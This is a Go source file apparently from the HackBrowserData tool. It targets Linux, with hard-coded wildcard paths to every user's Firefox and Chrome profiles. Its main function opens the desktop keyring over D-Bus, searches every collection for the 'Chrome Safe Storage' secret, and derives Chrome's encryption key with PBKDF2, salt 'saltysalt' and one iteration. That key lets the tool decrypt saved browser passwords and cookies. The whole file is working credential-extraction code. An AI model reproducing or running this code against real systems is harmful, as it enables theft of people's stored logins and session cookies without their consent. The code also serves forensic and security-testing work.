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HackBrowserData/core/browser_linux.go

87 lines
1.8 KiB

package core
import (
"crypto/sha1"
"hack-browser-data/log"
"github.com/godbus/dbus/v5"
keyring "github.com/ppacher/go-dbus-keyring"
"golang.org/x/crypto/pbkdf2"
)
const (
fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release/"
chromeProfilePath = "/home/*/.config/google-chrome/*/"
)
var (
browserList = map[string]struct {
ProfilePath string
Name string
KeyPath string
New func(profile, key, name string) (Browser, error)
}{
"firefox": {
ProfilePath: fireFoxProfilePath,
Name: firefoxName,
New: NewFirefox,
},
"chrome": {
ProfilePath: chromeProfilePath,
Name: chromeName,
New: NewChromium,
},
}
)
func (c *Chromium) InitSecretKey() error {
//what is d-bus @https://dbus.freedesktop.org/
var chromeSecret []byte
conn, err := dbus.SessionBus()
if err != nil {
return err
}
svc, err := keyring.GetSecretService(conn)
if err != nil {
return err
}
session, err := svc.OpenSession()
if err != nil {
return err
}
defer func() {
session.Close()
}()
collections, err := svc.GetAllCollections()
if err != nil {
return err
}
for _, col := range collections {
items, err := col.GetAllItems()
if err != nil {
return err
}
for _, item := range items {
i, err := item.GetLabel()
if err != nil {
log.Error(err)
continue
}
if i == "Chrome Safe Storage" {
se, err := item.GetSecret(session.Path())
if err != nil {
return err
}
chromeSecret = se.Value
}
}
}
var chromeSalt = []byte("saltysalt")
if chromeSecret == nil {
return errDbusSecretIsEmpty
}
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
key := pbkdf2.Key(chromeSecret, chromeSalt, 1, 16, sha1.New)
c.SecretKey = key
return nil
}